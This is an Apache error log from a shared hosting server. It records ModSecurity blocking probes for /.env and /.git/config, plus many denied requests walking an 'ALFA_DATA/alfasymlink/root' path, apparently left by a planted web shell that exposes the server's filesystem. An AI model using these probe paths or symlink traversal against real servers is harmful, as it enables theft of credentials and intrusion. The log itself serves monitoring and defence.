[Sat Oct 24 05:06:10.702058 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 52.205.113.104:39686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/Cavium PTP Driver/bind
[Sat Oct 24 05:06:18.391496 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.45.29.57:49805] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:06:42.364453 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 98.83.10.183:22584] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:06:45.493262 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 185.191.171.12:53076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/order
[Sat Oct 24 05:06:50.231897 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 18.210.58.238:3206] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:06:54.230477 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 44.218.170.184:12052] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:07:10.197993 2026] [security2:error] [pid 2603807:tid 2603807] [client 193.32.162.164:54304] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "atx1Po3tkuH7XT-LVCb7WAAAAAE"]
[Sat Oct 24 05:07:10.198266 2026] [security2:error] [pid 2603807:tid 2603807] [client 193.32.162.164:54304] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.env"] [unique_id "atx1Po3tkuH7XT-LVCb7WAAAAAE"]
[Sat Oct 24 05:07:10.199114 2026] [security2:error] [pid 2603807:tid 2603807] [client 193.32.162.164:54304] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "atx1Po3tkuH7XT-LVCb7WAAAAAE"]
[Sat Oct 24 05:07:10.384969 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 18.232.11.247:5531] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:07:14.407288 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.84.147.79:52246] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:07:18.253765 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.201.155.215:4858] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:07:26.265210 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 52.3.104.214:44324] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:07:42.252142 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.157.84.74:55933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:07:50.381850 2026] [core:crit] [pid 2608810:tid 2608810] (13)Permission denied: [client 71.6.246.177:61852] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 05:08:22.432370 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 35.174.253.85:48832] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:08:24.406431 2026] [core:error] [pid 2608798:tid 2608798] (13)Permission denied: [client 185.191.171.16:13404] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/reclaim_account
[Sat Oct 24 05:08:26.536110 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.94.40.182:48298] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:08:28.638470 2026] [security2:error] [pid 2607243:tid 2607243] [client 16.216.88.253:59392] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/betaok/PHPMailer/COMMITMENT"] [unique_id "atx1jFGNStwISql-V9e70QAAAAs"]
[Sat Oct 24 05:08:28.638510 2026] [security2:error] [pid 2607243:tid 2607243] [client 16.216.88.253:59392] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/betaok/PHPMailer/COMMITMENT"] [unique_id "atx1jFGNStwISql-V9e70QAAAAs"]
[Sat Oct 24 05:08:30.662470 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.235.215.92:53556] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:08:42.232325 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.195.145.102:15955] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:09:06.488165 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 98.83.177.42:42797] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:09:14.430602 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.193.2.57:43656] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:09:18.345629 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 98.82.63.147:20433] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:09:22.341291 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.144.185.255:46849] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:09:46.240972 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.3.102.51:36952] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:09:50.363508 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 44.212.131.50:6672] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:09:50.961820 2026] [core:crit] [pid 2608811:tid 2608811] (13)Permission denied: [client 71.6.246.223:24694] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 05:09:51.133888 2026] [authz_core:error] [pid 2609012:tid 2609012] [client 71.6.246.223:44184] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 05:09:51.445073 2026] [authz_core:error] [pid 2608798:tid 2608798] [client 71.6.246.223:24700] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 05:10:06.135258 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.201:18820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sighand_cache/hwcache_align
[Sat Oct 24 05:10:14.296902 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.94.157.25:41933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:10:18.390701 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.54.95.127:62840] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:10:22.292374 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 54.157.84.74:46104] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:10:30.286691 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.206.193.60:45654] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:10:34.263247 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 34.236.41.241:57514] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:10:45.160196 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 185.191.171.10:57902] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/sanity_checks
[Sat Oct 24 05:10:54.277816 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 54.147.80.137:30786] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:10:55.184326 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.203:26578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/nf_conntrack_expect/slabs
[Sat Oct 24 05:11:06.313747 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.212.219.113:37264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:11:11.586511 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 52.3.156.186:36304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:11:30.799265 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 3.215.59.93:63052] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty1/subsystem/tty50/subsystem/ttyS1/xmit_fifo_size
[Sat Oct 24 05:11:31.827639 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 85.208.96.210:35190] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:11:34.629055 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 3.222.85.38:26021] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:11:46.432739 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 52.44.174.136:9010] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:11:50.274548 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.54.157.23:47448] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:11:52.046375 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 185.191.171.15:28536] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:12:02.493348 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.203.68.145:31693] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:12:06.463836 2026] [ssl:error] [pid 2607845:tid 2607845] (5)Input/output error: [client 52.200.58.199:39991] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:12:06.464035 2026] [security2:error] [pid 2607845:tid 2607845] [client 52.200.58.199:39991] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/cpu1/node0/memory8/subsystem/devices/memory3/power/autosuspend_delay_ms"] [unique_id "atx2ZkZmsT_-xVq3Bbq36wAAAAU"]
[Sat Oct 24 05:12:06.464070 2026] [security2:error] [pid 2607845:tid 2607845] [client 52.200.58.199:39991] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory2/node0/cpu1/node0/memory8/subsystem/devices/memory3/power/autosuspend_delay_ms"] [unique_id "atx2ZkZmsT_-xVq3Bbq36wAAAAU"]
[Sat Oct 24 05:12:10.296875 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.225.199.17:23989] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:12:18.291259 2026] [ssl:error] [pid 2608810:tid 2608810] (5)Input/output error: [client 54.225.181.161:9782] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:12:18.497821 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 185.191.171.6:18732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-ParseExt/partial
[Sat Oct 24 05:12:34.437454 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 100.29.155.89:45652] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:12:50.465356 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.194.95.99:58609] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:12:58.437051 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.216.227.216:60380] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:13:02.363409 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 52.203.65.83:24116] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:13:11.552282 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 44.197.76.210:34250] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:13:30.997920 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 98.82.59.253:10520] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:13:34.529750 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.162.69.192:25140] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:13:46.675090 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 52.54.95.127:15518] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:13:50.931463 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 23.21.225.190:41473] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:13:58.429212 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 44.196.118.6:42124] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:15/subsystem/devices/device:00/physical_node/i2c-0/device/subsystem/drivers/iosf_mbi_pci/remove_id
[Sat Oct 24 05:14:02.538843 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 3.232.102.111:17428] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:14:04.017064 2026] [core:crit] [pid 2607845:tid 2607845] (13)Permission denied: [client 173.255.229.83:12900] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 05:14:07.141314 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 3.90.73.206:40851] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:05.0/subsystem/slots/28/module/uevent
[Sat Oct 24 05:14:11.040194 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 18.213.70.100:15458] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:14:20.210656 2026] [security2:error] [pid 2607243:tid 2607243] [client 195.178.110.247:40178] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx27FGNStwISql-V9e73gAAAAs"]
[Sat Oct 24 05:14:20.210855 2026] [security2:error] [pid 2607243:tid 2607243] [client 195.178.110.247:40178] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx27FGNStwISql-V9e73gAAAAs"]
[Sat Oct 24 05:14:20.211817 2026] [security2:error] [pid 2607243:tid 2607243] [client 195.178.110.247:40178] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/403.shtml"] [unique_id "atx27FGNStwISql-V9e73gAAAAs"]
[Sat Oct 24 05:14:20.446032 2026] [security2:error] [pid 2608810:tid 2608810] [client 195.178.110.247:46222] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx27KVWPMRLkHgZYZD5TQAAABU"]
[Sat Oct 24 05:14:20.446194 2026] [security2:error] [pid 2608810:tid 2608810] [client 195.178.110.247:46222] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atx27KVWPMRLkHgZYZD5TQAAABU"]
[Sat Oct 24 05:14:20.446963 2026] [security2:error] [pid 2608810:tid 2608810] [client 195.178.110.247:46222] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/403.shtml"] [unique_id "atx27KVWPMRLkHgZYZD5TQAAABU"]
[Sat Oct 24 05:14:22.005488 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 85.208.96.198:25166] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:14:22.507414 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 18.209.201.119:14558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/driver/bind
[Sat Oct 24 05:14:35.583624 2026] [security2:error] [pid 2603807:tid 2603807] [client 43.162.109.249:56800] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas2.com/"] [unique_id "atx2-43tkuH7XT-LVCb7aQAAAAE"]
[Sat Oct 24 05:14:35.585226 2026] [authz_core:error] [pid 2603807:tid 2603807] [client 43.162.109.249:56800] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas2.com/php.ini
[Sat Oct 24 05:14:50.506450 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 44.214.19.8:8704] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:14:55.488008 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 185.191.171.1:64880] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/mbcache/sections/__mcount_loc
[Sat Oct 24 05:14:58.382659 2026] [ssl:error] [pid 2607845:tid 2607845] (70014)End of file found: [client 44.206.93.215:2861] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:15:06.488997 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 54.91.122.193:38032] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:15:10.393956 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.231.118.144:43740] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:15:14.578089 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.0.218.219:31527] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:15:22.480762 2026] [core:error] [pid 2608731:tid 2608731] (13)Permission denied: [client 34.206.193.60:57336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/subsystem/drivers_probe
[Sat Oct 24 05:15:26.464197 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 23.21.250.48:26752] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/subsystem/uevent
[Sat Oct 24 05:15:29.905191 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 85.208.96.204:16650] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:15:38.400201 2026] [security2:error] [pid 2608810:tid 2608810] [client 44.220.2.97:45955] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:05.0/subsystem/slots/18/module/"] [unique_id "atx3OqVWPMRLkHgZYZD5UQAAABU"]
[Sat Oct 24 05:15:38.400250 2026] [security2:error] [pid 2608810:tid 2608810] [client 44.220.2.97:45955] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:05.0/subsystem/slots/18/module/"] [unique_id "atx3OqVWPMRLkHgZYZD5UQAAABU"]
[Sat Oct 24 05:15:46.405741 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 44.205.120.22:33260] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:15:48.415232 2026] [core:crit] [pid 2608731:tid 2608731] (13)Permission denied: [client 71.6.238.157:58758] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 05:15:54.749864 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 18.232.36.1:36857] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:16:02.407222 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 3.94.199.128:14164] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:16:06.570199 2026] [core:error] [pid 2607243:tid 2607243] (13)Permission denied: [client 98.84.184.80:59360] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:01.1/subsystem/drivers/virtio-pci/0000:00:05.0/subsystem/devices/0000:00:03.0/resource4_wc
[Sat Oct 24 05:16:26.567796 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 3.215.59.93:45016] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:16:29.927593 2026] [core:error] [pid 2608811:tid 2608811] (13)Permission denied: [client 185.191.171.12:33182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/fs_cache/object_size
[Sat Oct 24 05:16:34.789964 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 98.80.130.239:59286] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:16:38.587068 2026] [ssl:error] [pid 2603807:tid 2603807] (70014)End of file found: [client 52.44.148.203:12621] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:16:42.572855 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.229.2.217:47620] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:16:46.469347 2026] [core:error] [pid 2608810:tid 2608810] (13)Permission denied: [client 98.83.177.42:22584] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/drivers/hpet/bind
[Sat Oct 24 05:16:50.448671 2026] [ssl:error] [pid 2608663:tid 2608663] (70014)End of file found: [client 184.73.167.217:26308] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:16:54.693254 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 50.19.221.48:18730] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:16:54.697324 2026] [core:error] [pid 2609012:tid 2609012] (13)Permission denied: [client 85.208.96.202:12756] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/slab_size
[Sat Oct 24 05:16:58.481945 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 3.226.106.93:54304] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:17:06.562441 2026] [ssl:error] [pid 2607243:tid 2607243] (70014)End of file found: [client 54.86.59.155:56532] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:17:13.904835 2026] [core:error] [pid 2607845:tid 2607845] (13)Permission denied: [client 185.191.171.1:17282] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/seq_file/hwcache_align
[Sat Oct 24 05:17:26.465833 2026] [ssl:error] [pid 2609012:tid 2609012] (70014)End of file found: [client 54.225.199.17:16620] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:17:30.644445 2026] [ssl:error] [pid 2608798:tid 2608798] (70014)End of file found: [client 54.197.178.107:47195] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:17:34.566011 2026] [ssl:error] [pid 2608811:tid 2608811] (70014)End of file found: [client 52.71.218.25:40813] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 05:17:38.738314 2026] [ssl:error] [pid 2608731:tid 2608731] (70014)End of file found: [client 54.84.147.79:49061] AH02013: coalesce failed to read from data bucket
